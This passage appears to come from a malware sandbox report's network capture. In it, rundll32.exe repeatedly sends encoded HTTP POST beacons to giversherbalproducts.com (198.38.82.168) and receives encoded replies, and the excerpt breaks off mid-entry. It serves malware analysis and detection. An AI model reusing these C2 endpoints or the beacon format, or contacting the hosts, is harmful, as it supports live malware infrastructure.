Oct 4, 2021 16:02:23.154221058 CEST	7140	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:22 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.3	49985	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:23.125866890 CEST	7139	OUT	POST /lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:23.561999083 CEST	7141	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:23 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.3	49986	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:23.523515940 CEST	7140	OUT	POST /lBawcxb5/ICguHncbARsgBD8NCSA2Bx8nL0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:24.012473106 CEST	7142	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:23 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.3	49988	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:24.431037903 CEST	7143	OUT	POST /lBawcxb5/CgUMFCMvGnwBGQEBJH59MQIoRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:24.885509968 CEST	7144	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:24 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.3	49989	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:25.440298080 CEST	7144	OUT	POST /lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:25.925618887 CEST	7145	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.3	49990	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:26.298536062 CEST	7146	OUT	POST /lBawcxb5/cxMTCDUBQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:26.789442062 CEST	7147	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:26 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.3	49987	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:26.887569904 CEST	7147	OUT	POST /lBawcxb5/cxMTCDUBQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:27.326937914 CEST	7149	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:26 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.3	49991	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:27.117958069 CEST	7148	OUT	POST /lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:27.587758064 CEST	7150	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.3	49992	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:27.630351067 CEST	7150	OUT	POST /lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:28.128439903 CEST	7160	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49769	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:16.263830900 CEST	1066	OUT	POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:16.799922943 CEST	1068	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 